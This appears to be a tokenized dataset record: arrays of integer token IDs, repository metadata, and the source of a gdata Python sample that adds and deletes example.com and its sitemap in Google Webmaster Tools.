13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
1634,
7066,
12,
199,
3,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
199,
3,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
1301,
363,
275,
971,
199,
624,
199,
647,
11059,
859,
446,
27939,
436,
3102,
370,
5627,
436,
5341,
6057,
1999,
596,
4291,
199,
199,
1918,
23943,
859,
365,
376,
13943,
18140,
370,
6425,
436,
14043,
3486,
1999,
596,
4291,
12,
199,
3122,
14,
314,
1468,
2603,
7103,
15,
27319,
18140,
12,
503,
314,
675,
402,
5578,
8455,
14,
221,
8777,
23943,
12,
1265,
199,
13196,
1133,
1929,
370,
12537,
282,
892,
6302,
367,
12669,
1999,
596,
4291,
503,
4877,
8455,
446,
314,
6057,
859,
199,
20121,
282,
3555,
402,
3992,
626,
1265,
675,
370,
6982,
314,
12528,
5370,
315,
2018,
14,
199,
199,
21741,
365,
282,
2240,
370,
2198,
298,
6257,
12,
13064,
9539,
334,
269,
1263,
486,
23457,
402,
314,
1824,
221,
199,
35,
6641,
28,
6327,
10326,
6244,
665,
525,
470,
3239,
30,
1,
5593,
6137,
1536,
1808,
491,
91,
10155,
1386,
491,
91,
7621,
1386,
436,
491,
91,
3325,
93,
4008,
221,
199,
8,
44,
1445,
4786,
28,
31018,
855,
525,
363,
23307,
4182,
10557,
491,
91,
3325,
93,
8455,
12,
3326,
787,
2599,
13,
22818,
370,
199,
44,
91,
7621,
93,
8455,
304,
26,
339,
687,
23943,
492,
14644,
12,
25363,
339,
327,
5627,
12528,
402,
282,
486,
23457,
272,
486,
7936,
275,
14644,
8,
17479,
9,
435,
21147,
435,
14644,
8,
17479,
9,
435,
298,
9539,
339,
16509,
275,
298,
6257,
12,
13064,
9539,
272,
870,
334,
5006,
12,
3905,
7166,
486,
7936,
14,
14934,
8,
5006,
430,
199,
199,
1918,
2240,
4704,
314,
2569,
447,
339,
23833,
12,
13064,
1,
1035,
788,
6257,
297,
30048,
283,
15943,
297,
14597,
418,
199,
199,
1918,
2018,
6025,
402,
314,
12528,
365,
18794,
12701,
12,
22182,
316,
370,
314,
291,
13,
476,
5140,
8658,
199,
533,
1561,
12,
436,
314,
675,
402,
32278,
24628,
436,
14452,
7,
10211,
14,
199,
199,
1918,
491,
91,
29036,
93,
909,
2138,
687,
491,
91,
31018,
14,
14934,
28,
31018,
14,
14934,
23307,
883,
506,
13810,
465,
282,
6032,
769,
12,
282,
2600,
12,
503,
376,
199,
785,
543,
4310,
3004,
14,
199,
199,
1918,
23943,
859,
10022,
2005,
402,
314,
8826,
626,
787,
13609,
373,
476,
316,
1380,
3575,
1318,
21295,
26,
199,
446,
2402,
503,
4124,
8139,
334,
1589,
3432,
2240,
911,
2597,
2429,
298,
6257,
12,
15943,
17716,
298,
6257,
221,
2360,
221,
13064,
221,
8546,
401,
5423,
4959,
199,
446,
10999,
3326,
199,
446,
12169,
6786,
199,
624,
199,
199,
363,
1023,
363,
275,
298,
18,
14,
17,
14,
709,
2,
199,
363,
1023,
1366,
363,
275,
298,
1780,
18365,
7800,
17163,
26,
2192,
12174,
2,
199,
363,
2502,
363,
275,
298,
28282,
22895,
4324,
264,
665,
541,
5466,
71,
32,
3707,
14,
22943,
14,
846,
4335,
199,
199,
646,
1059,
199,
504,
13852,
492,
2984,
465,
336,
75,
1121,
199,
646,
1331,
199,
646,
984,
199,
646,
3598,
199,
646,
295,
199,
646,
25877,
63,
5559,
199,
646,
5055,
199,
646,
10933,
199,
646,
5190,
199,
646,
2943,
199,
504,
2197,
492,
2197,
199,
199,
893,
26,
272,
687,
485,
2671,
492,
820,
6432,
199,
2590,
3545,
26,
272,
687,
5796,
492,
820,
6432,
199,
199,
893,
26,
272,
687,
5055,
492,
8773,
465,
485,
16882,
199,
2590,
3545,
26,
272,
862,
26,
267,
687,
7741,
807,
492,
8773,
465,
485,
16882,
272,
871,
3545,
26,
267,
485,
16882,
275,
488,
199,
199,
32169,
984,
14,
3083,
14,
952,
8,
298,
4776,
23943,
859,
12,
1015,
450,
83,
12,
450,
83,
60,
78,
2,
450,
25373,
1023,
3108,
363,
1023,
1366,
363,
776,
776,
199,
199,
363,
452,
363,
275,
359,
199,
7,
3325,
297,
283,
1538,
2003,
10650,
297,
283,
1538,
2003,
7621,
297,
283,
11229,
1763,
607,
297,
283,
23163,
297,
283,
2141,
297,
283,
22321,
297,
283,
4699,
297,
199,
7,
18696,
379,
2175,
297,
283,
12984,
297,
283,
7250,
1378,
4547,
297,
283,
2448,
297,
283,
10650,
297,
283,
3049,
3005,
297,
283,
3049,
3162,
297,
283,
7621,
297,
199,
7,
4486,
7147,
297,
283,
1944,
4486,
297,
283,
1763,
9874,
297,
283,
4395,
18231,
297,
283,
5903,
25690,
297,
283,
7012,
297,
283,
2844,
297,
199,
7,
4003,
29900,
297,
283,
4003,
2162,
1327,
14666,
297,
283,
4003,
1726,
297,
283,
4003,
9093,
297,
283,
4003,
19507,
1726,
297,
199,
7,
29036,
297,
283,
4003,
16626,
1726,
297,
283,
31018,
297,
283,
24115,
1558,
297,
283,
25122,
27119,
1726,
297,
199,
7,
5103,
297,
283,
7738,
1378,
297,
283,
1558,
3005,
297,
283,
1558,
3162,
297,
283,
18334,
297,
283,
3264,
297,
283,
3264,
11907,
297,
221,
199,
7,
19803,
297,
283,
10155,
297,
283,
10155
] |
[
859,
23943,
14,
647,
199,
3,
199,
3,
1898,
334,
67,
9,
13004,
13,
9261,
221,
28574,
377,
14,
22895,
4324,
264,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
199,
3,
5120,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
199,
3,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
199,
3,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
199,
3,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
7024,
2381,
1821,
199,
3,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
1634,
7066,
12,
199,
3,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
199,
3,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
1301,
363,
275,
971,
199,
624,
199,
647,
11059,
859,
446,
27939,
436,
3102,
370,
5627,
436,
5341,
6057,
1999,
596,
4291,
199,
199,
1918,
23943,
859,
365,
376,
13943,
18140,
370,
6425,
436,
14043,
3486,
1999,
596,
4291,
12,
199,
3122,
14,
314,
1468,
2603,
7103,
15,
27319,
18140,
12,
503,
314,
675,
402,
5578,
8455,
14,
221,
8777,
23943,
12,
1265,
199,
13196,
1133,
1929,
370,
12537,
282,
892,
6302,
367,
12669,
1999,
596,
4291,
503,
4877,
8455,
446,
314,
6057,
859,
199,
20121,
282,
3555,
402,
3992,
626,
1265,
675,
370,
6982,
314,
12528,
5370,
315,
2018,
14,
199,
199,
21741,
365,
282,
2240,
370,
2198,
298,
6257,
12,
13064,
9539,
334,
269,
1263,
486,
23457,
402,
314,
1824,
221,
199,
35,
6641,
28,
6327,
10326,
6244,
665,
525,
470,
3239,
30,
1,
5593,
6137,
1536,
1808,
491,
91,
10155,
1386,
491,
91,
7621,
1386,
436,
491,
91,
3325,
93,
4008,
221,
199,
8,
44,
1445,
4786,
28,
31018,
855,
525,
363,
23307,
4182,
10557,
491,
91,
3325,
93,
8455,
12,
3326,
787,
2599,
13,
22818,
370,
199,
44,
91,
7621,
93,
8455,
304,
26,
339,
687,
23943,
492,
14644,
12,
25363,
339,
327,
5627,
12528,
402,
282,
486,
23457,
272,
486,
7936,
275,
14644,
8,
17479,
9,
435,
21147,
435,
14644,
8,
17479,
9,
435,
298,
9539,
339,
16509,
275,
298,
6257,
12,
13064,
9539,
272,
870,
334,
5006,
12,
3905,
7166,
486,
7936,
14,
14934,
8,
5006,
430,
199,
199,
1918,
2240,
4704,
314,
2569,
447,
339,
23833,
12,
13064,
1,
1035,
788,
6257,
297,
30048,
283,
15943,
297,
14597,
418,
199,
199,
1918,
2018,
6025,
402,
314,
12528,
365,
18794,
12701,
12,
22182,
316,
370,
314,
291,
13,
476,
5140,
8658,
199,
533,
1561,
12,
436,
314,
675,
402,
32278,
24628,
436,
14452,
7,
10211,
14,
199,
199,
1918,
491,
91,
29036,
93,
909,
2138,
687,
491,
91,
31018,
14,
14934,
28,
31018,
14,
14934,
23307,
883,
506,
13810,
465,
282,
6032,
769,
12,
282,
2600,
12,
503,
376,
199,
785,
543,
4310,
3004,
14,
199,
199,
1918,
23943,
859,
10022,
2005,
402,
314,
8826,
626,
787,
13609,
373,
476,
316,
1380,
3575,
1318,
21295,
26,
199,
446,
2402,
503,
4124,
8139,
334,
1589,
3432,
2240,
911,
2597,
2429,
298,
6257,
12,
15943,
17716,
298,
6257,
221,
2360,
221,
13064,
221,
8546,
401,
5423,
4959,
199,
446,
10999,
3326,
199,
446,
12169,
6786,
199,
624,
199,
199,
363,
1023,
363,
275,
298,
18,
14,
17,
14,
709,
2,
199,
363,
1023,
1366,
363,
275,
298,
1780,
18365,
7800,
17163,
26,
2192,
12174,
2,
199,
363,
2502,
363,
275,
298,
28282,
22895,
4324,
264,
665,
541,
5466,
71,
32,
3707,
14,
22943,
14,
846,
4335,
199,
199,
646,
1059,
199,
504,
13852,
492,
2984,
465,
336,
75,
1121,
199,
646,
1331,
199,
646,
984,
199,
646,
3598,
199,
646,
295,
199,
646,
25877,
63,
5559,
199,
646,
5055,
199,
646,
10933,
199,
646,
5190,
199,
646,
2943,
199,
504,
2197,
492,
2197,
199,
199,
893,
26,
272,
687,
485,
2671,
492,
820,
6432,
199,
2590,
3545,
26,
272,
687,
5796,
492,
820,
6432,
199,
199,
893,
26,
272,
687,
5055,
492,
8773,
465,
485,
16882,
199,
2590,
3545,
26,
272,
862,
26,
267,
687,
7741,
807,
492,
8773,
465,
485,
16882,
272,
871,
3545,
26,
267,
485,
16882,
275,
488,
199,
199,
32169,
984,
14,
3083,
14,
952,
8,
298,
4776,
23943,
859,
12,
1015,
450,
83,
12,
450,
83,
60,
78,
2,
450,
25373,
1023,
3108,
363,
1023,
1366,
363,
776,
776,
199,
199,
363,
452,
363,
275,
359,
199,
7,
3325,
297,
283,
1538,
2003,
10650,
297,
283,
1538,
2003,
7621,
297,
283,
11229,
1763,
607,
297,
283,
23163,
297,
283,
2141,
297,
283,
22321,
297,
283,
4699,
297,
199,
7,
18696,
379,
2175,
297,
283,
12984,
297,
283,
7250,
1378,
4547,
297,
283,
2448,
297,
283,
10650,
297,
283,
3049,
3005,
297,
283,
3049,
3162,
297,
283,
7621,
297,
199,
7,
4486,
7147,
297,
283,
1944,
4486,
297,
283,
1763,
9874,
297,
283,
4395,
18231,
297,
283,
5903,
25690,
297,
283,
7012,
297,
283,
2844,
297,
199,
7,
4003,
29900,
297,
283,
4003,
2162,
1327,
14666,
297,
283,
4003,
1726,
297,
283,
4003,
9093,
297,
283,
4003,
19507,
1726,
297,
199,
7,
29036,
297,
283,
4003,
16626,
1726,
297,
283,
31018,
297,
283,
24115,
1558,
297,
283,
25122,
27119,
1726,
297,
199,
7,
5103,
297,
283,
7738,
1378,
297,
283,
1558,
3005,
297,
283,
1558,
3162,
297,
283,
18334,
297,
283,
3264,
297,
283,
3264,
11907,
297,
221,
199,
7,
19803,
297,
283,
10155,
297,
283,
10155,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
BackupGGCode/python-for-android
|
python-build/python-libs/gdata/samples/webmastertools/AddDeleteExampleDotCom.py
|
128
|
3302
|
#!/usr/bin/python
#
# Copyright (C) 2008 Yu-Jie Lin
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import urllib
import gdata.webmastertools.service
import gdata.service
try:
from xml.etree import ElementTree
except ImportError:
from elementtree import ElementTree
import atom
import getpass
username = ''
password = ''
username = raw_input('Please enter your username: ')
password = getpass.getpass()
client = gdata.webmastertools.service.GWebmasterToolsService(
email=username,
password=password, source='PythonWebmasterToolsSample-1')
EXAMPLE_SITE = 'http://www.example.com/'
EXAMPLE_SITEMAP = 'http://www.example.com/sitemap-index.xml'
def safeElementText(element):
if hasattr(element, 'text'):
return element.text
return ''
print 'Logging in'
client.ProgrammaticLogin()
print
print 'Adding site: %s' % EXAMPLE_SITE
entry = client.AddSite(EXAMPLE_SITE)
print
print "%-25s %25s %25s" % ('Site', 'Last Updated', 'Last Crawled')
print '='*80
print "%-25s %25s %25s" % (
entry.title.text.replace('http://', '')[:25], entry.updated.text[:25],
safeElementText(entry.crawled)[:25])
print " Preferred: %-23s Indexed: %5s GeoLoc: %10s" % (
safeElementText(entry.preferred_domain)[:30], entry.indexed.text[:5],
safeElementText(entry.geolocation)[:10])
print " Crawl rate: %-10s Verified: %5s" % (
safeElementText(entry.crawl_rate)[:10], entry.verified.text[:5])
# Verifying a site. This sample won't do this since we don't own example.com
#client.VerifySite(EXAMPLE_SITE, 'htmlpage')
# The following needs the ownership of the site
#client.UpdateGeoLocation(EXAMPLE_SITE, 'US')
#client.UpdateCrawlRate(EXAMPLE_SITE, 'normal')
#client.UpdatePreferredDomain(EXAMPLE_SITE, 'preferwww')
#client.UpdateEnhancedImageSearch(EXAMPLE_SITE, 'true')
print
print 'Adding sitemap: %s' % EXAMPLE_SITEMAP
entry = client.AddSitemap(EXAMPLE_SITE, EXAMPLE_SITEMAP)
print entry.title.text.replace('http://', '')[:80]
print " Last Updated : %29s Status: %10s" % (
entry.updated.text[:29], entry.sitemap_status.text[:10])
print " Last Downloaded: %29s URL Count: %10s" % (
safeElementText(entry.sitemap_last_downloaded)[:29],
safeElementText(entry.sitemap_url_count)[:10])
# Add a mobile sitemap
#entry = client.AddMobileSitemap(EXAMPLE_SITE, 'http://.../sitemap-mobile-example.xml', 'XHTML')
# Add a news sitemap, your site must be included in Google News.
# See also http://google.com/support/webmasters/bin/answer.py?answer=42738
#entry = client.AddNewsSitemap(EXAMPLE_SITE, 'http://.../sitemap-news-example.xml', 'Label')
print
print 'Deleting sitemap: %s' % EXAMPLE_SITEMAP
client.DeleteSitemap(EXAMPLE_SITE, EXAMPLE_SITEMAP)
print
print 'Deleting site: %s' % EXAMPLE_SITE
client.DeleteSite(EXAMPLE_SITE)
print
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
1898,
334,
35,
9,
9079,
1488,
85,
13,
42,
1873,
29730,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
421,
199,
646,
4011,
199,
199,
646,
11006,
14,
2520,
4133,
2537,
14,
1364,
199,
646,
11006,
14,
1364,
199,
893,
26,
523,
687,
2748,
14,
9464,
492,
13139,
199,
2590,
3545,
26,
523,
687,
1819,
2350,
492,
13139,
199,
646,
6222,
199,
646,
18354,
421,
199,
2473,
275,
2125,
199,
2060,
275,
2125,
199,
199,
2473,
275,
3066,
63,
1210,
360,
8254,
9509,
2195,
3434,
26,
5320,
199,
2060,
275,
18354,
14,
27481,
342,
199,
199,
1258,
275,
11006,
14,
2520,
4133,
2537,
14,
1364,
14,
39,
5926,
4133,
11654,
3167,
8,
272,
3031,
29,
2473,
12,
5591,
2505,
29,
2060,
12,
1350,
534,
4718,
5926,
4133,
11654,
8176,
13,
17,
358,
199,
199,
26900,
63,
7917,
275,
283,
1014,
921,
1544,
14,
2694,
14,
957,
4805,
199,
26900,
63,
51,
10439,
1282,
275,
283,
1014,
921,
1544,
14,
2694,
14,
957,
15,
17205,
13,
1080,
14,
1652,
7,
421,
199,
318,
5048,
2162,
1872,
8,
2108,
304,
523,
340,
2688,
8,
2108,
12,
283,
505,
735,
1362,
372,
1819,
14,
505,
523,
372,
2125,
421,
199,
1361,
283,
14054,
315,
7,
199,
1258,
14,
9184,
3889,
8880,
342,
199,
199,
1361,
199,
1361,
283,
20897,
4770,
26,
450,
83,
7,
450,
3651,
10818,
63,
7917,
199,
2373,
275,
1890,
14,
1123,
8972,
8,
26900,
63,
7917,
9,
199,
199,
1361,
199,
1361,
18301,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
661,
8972,
297,
283,
6090,
6162,
68,
297,
283,
6090,
445,
1773,
1146,
358,
199,
1361,
14051,
10,
1257,
199,
1361,
18301,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
334,
523,
2397,
14,
1213,
14,
505,
14,
1814,
360,
1014,
921,
297,
4074,
1491,
821,
467,
2397,
14,
5334,
14,
505,
1491,
821,
467,
523,
5048,
2162,
1872,
8,
2373,
14,
67,
1773,
1146,
18562,
821,
566,
199,
1361,
298,
221,
510,
1121,
7165,
26,
19752,
1789,
83,
26437,
26,
450,
21,
83,
263,
8875,
3040,
26,
450,
709,
83,
2,
450,
334,
523,
5048,
2162,
1872,
8,
2373,
14,
17477,
63,
2261,
18562,
1216,
467,
2397,
14,
16821,
14,
505,
1491,
21,
467,
523,
5048,
2162,
1872,
8,
2373,
14,
6721,
1985,
18562,
709,
566,
199,
1361,
298,
221,
445,
22910,
6634,
26,
19752,
709,
83,
3322,
5444,
4541,
26,
450,
21,
83,
2,
450,
334,
523,
5048,
2162,
1872,
8,
2373,
14,
67,
22910,
63,
1866,
18562,
709,
467,
2397,
14,
12949,
14,
505,
1491,
21,
566,
199,
199,
3,
7635,
316,
282,
4770,
14,
961,
2690,
7859,
1133,
886,
642,
3967,
781,
2793,
1133,
5705,
2893,
14,
957,
199,
3,
1258,
14,
7496,
8972,
8,
26900,
63,
7917,
12,
283,
1360,
1606,
358,
199,
199,
3,
710,
2569,
4839,
314,
12715,
402,
314,
4770,
199,
3,
1258,
14,
4152,
10748,
6592,
8,
26900,
63,
7917,
12,
283,
1668,
358,
199,
3,
1258,
14,
4152,
35,
22910,
6621,
8,
26900,
63,
7917,
12,
283,
3302,
358,
199,
3,
1258,
14,
4152,
29373,
7705,
8,
26900,
63,
7917,
12,
283,
24283,
1544,
358,
199,
3,
1258,
14,
4152,
1327,
24384,
3491,
5278,
8,
26900,
63,
7917,
12,
283,
2052,
358,
199,
199,
1361,
199,
1361,
283,
20897,
25121,
26,
450,
83,
7,
450,
3651,
10818,
63,
51,
10439,
1282,
199,
2373,
275,
1890,
14,
1123,
8972,
1130,
8,
26900,
63,
7917,
12,
3651,
10818,
63,
51,
10439,
1282,
9,
199,
199,
1361,
2397,
14,
1213,
14,
505,
14,
1814,
360,
1014,
921,
297,
4074,
1491,
1257,
61,
199,
1361,
298,
221,
15237,
6162,
68,
257,
520,
450,
1398,
83,
4519,
9795,
26,
450,
709,
83,
2,
450,
334,
272,
2397,
14,
5334,
14,
505,
1491,
1398,
467,
2397,
14,
17205,
63,
1205,
14,
505,
1491,
709,
566,
199,
1361,
298,
221,
15237,
13392,
4591,
26,
450,
1398,
83,
3698,
2851,
14826,
26,
450,
709,
83,
2,
450,
334,
272,
5048,
2162,
1872,
8,
2373,
14,
17205,
63,
2019,
63,
19385,
18562,
1398,
467,
272,
5048,
2162,
1872,
8,
2373,
14,
17205,
63,
633,
63,
835,
18562,
709,
566,
199,
199,
3,
2654,
282,
21305,
25121,
199,
3,
2373,
275,
1890,
14,
1123,
27245,
8972,
1130,
8,
26900,
63,
7917,
12,
283,
1014,
921,
1396,
15,
17205,
13,
11375,
13,
2694,
14,
1652,
297,
283,
56,
4943,
358,
199,
199,
3,
2654,
282,
19497,
25121,
12,
2195,
4770,
1471,
506,
5120,
315,
4475,
30951,
14,
199,
3,
1666,
2597,
1455,
921,
3098,
14,
957,
15,
4058,
15,
2520,
5892,
878,
15,
1393,
15,
5934,
14,
647,
31,
5934,
29,
27358,
1703,
199,
3,
2373,
275,
1890,
14,
1123,
24730,
8972,
1130,
8,
26900,
63,
7917,
12,
283,
1014,
921,
1396,
15,
17205,
13,
13224,
13,
2694,
14,
1652,
297,
283,
4314,
358,
199,
199,
1361,
199,
1361,
283,
22001,
25121,
26,
450,
83,
7,
450,
3651,
10818,
63,
51,
10439,
1282,
199,
1258,
14,
5392,
8972,
1130,
8,
26900,
63,
7917,
12,
3651,
10818,
63,
51,
10439,
1282,
9,
199,
199,
1361,
199,
1361,
283,
22001,
4770,
26,
450,
83,
7,
450,
3651,
10818,
63,
7917,
199,
1258,
14,
5392,
8972,
8,
26900,
63,
7917,
9,
199,
1361,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
199,
3,
1898,
334,
35,
9,
9079,
1488,
85,
13,
42,
1873,
29730,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
420,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
421,
199,
646,
4011,
199,
199,
646,
11006,
14,
2520,
4133,
2537,
14,
1364,
199,
646,
11006,
14,
1364,
199,
893,
26,
523,
687,
2748,
14,
9464,
492,
13139,
199,
2590,
3545,
26,
523,
687,
1819,
2350,
492,
13139,
199,
646,
6222,
199,
646,
18354,
421,
199,
2473,
275,
2125,
199,
2060,
275,
2125,
199,
199,
2473,
275,
3066,
63,
1210,
360,
8254,
9509,
2195,
3434,
26,
5320,
199,
2060,
275,
18354,
14,
27481,
342,
199,
199,
1258,
275,
11006,
14,
2520,
4133,
2537,
14,
1364,
14,
39,
5926,
4133,
11654,
3167,
8,
272,
3031,
29,
2473,
12,
5591,
2505,
29,
2060,
12,
1350,
534,
4718,
5926,
4133,
11654,
8176,
13,
17,
358,
199,
199,
26900,
63,
7917,
275,
283,
1014,
921,
1544,
14,
2694,
14,
957,
4805,
199,
26900,
63,
51,
10439,
1282,
275,
283,
1014,
921,
1544,
14,
2694,
14,
957,
15,
17205,
13,
1080,
14,
1652,
7,
421,
199,
318,
5048,
2162,
1872,
8,
2108,
304,
523,
340,
2688,
8,
2108,
12,
283,
505,
735,
1362,
372,
1819,
14,
505,
523,
372,
2125,
421,
199,
1361,
283,
14054,
315,
7,
199,
1258,
14,
9184,
3889,
8880,
342,
199,
199,
1361,
199,
1361,
283,
20897,
4770,
26,
450,
83,
7,
450,
3651,
10818,
63,
7917,
199,
2373,
275,
1890,
14,
1123,
8972,
8,
26900,
63,
7917,
9,
199,
199,
1361,
199,
1361,
18301,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
661,
8972,
297,
283,
6090,
6162,
68,
297,
283,
6090,
445,
1773,
1146,
358,
199,
1361,
14051,
10,
1257,
199,
1361,
18301,
821,
83,
450,
821,
83,
450,
821,
83,
2,
450,
334,
523,
2397,
14,
1213,
14,
505,
14,
1814,
360,
1014,
921,
297,
4074,
1491,
821,
467,
2397,
14,
5334,
14,
505,
1491,
821,
467,
523,
5048,
2162,
1872,
8,
2373,
14,
67,
1773,
1146,
18562,
821,
566,
199,
1361,
298,
221,
510,
1121,
7165,
26,
19752,
1789,
83,
26437,
26,
450,
21,
83,
263,
8875,
3040,
26,
450,
709,
83,
2,
450,
334,
523,
5048,
2162,
1872,
8,
2373,
14,
17477,
63,
2261,
18562,
1216,
467,
2397,
14,
16821,
14,
505,
1491,
21,
467,
523,
5048,
2162,
1872,
8,
2373,
14,
6721,
1985,
18562,
709,
566,
199,
1361,
298,
221,
445,
22910,
6634,
26,
19752,
709,
83,
3322,
5444,
4541,
26,
450,
21,
83,
2,
450,
334,
523,
5048,
2162,
1872,
8,
2373,
14,
67,
22910,
63,
1866,
18562,
709,
467,
2397,
14,
12949,
14,
505,
1491,
21,
566,
199,
199,
3,
7635,
316,
282,
4770,
14,
961,
2690,
7859,
1133,
886,
642,
3967,
781,
2793,
1133,
5705,
2893,
14,
957,
199,
3,
1258,
14,
7496,
8972,
8,
26900,
63,
7917,
12,
283,
1360,
1606,
358,
199,
199,
3,
710,
2569,
4839,
314,
12715,
402,
314,
4770,
199,
3,
1258,
14,
4152,
10748,
6592,
8,
26900,
63,
7917,
12,
283,
1668,
358,
199,
3,
1258,
14,
4152,
35,
22910,
6621,
8,
26900,
63,
7917,
12,
283,
3302,
358,
199,
3,
1258,
14,
4152,
29373,
7705,
8,
26900,
63,
7917,
12,
283,
24283,
1544,
358,
199,
3,
1258,
14,
4152,
1327,
24384,
3491,
5278,
8,
26900,
63,
7917,
12,
283,
2052,
358,
199,
199,
1361,
199,
1361,
283,
20897,
25121,
26,
450,
83,
7,
450,
3651,
10818,
63,
51,
10439,
1282,
199,
2373,
275,
1890,
14,
1123,
8972,
1130,
8,
26900,
63,
7917,
12,
3651,
10818,
63,
51,
10439,
1282,
9,
199,
199,
1361,
2397,
14,
1213,
14,
505,
14,
1814,
360,
1014,
921,
297,
4074,
1491,
1257,
61,
199,
1361,
298,
221,
15237,
6162,
68,
257,
520,
450,
1398,
83,
4519,
9795,
26,
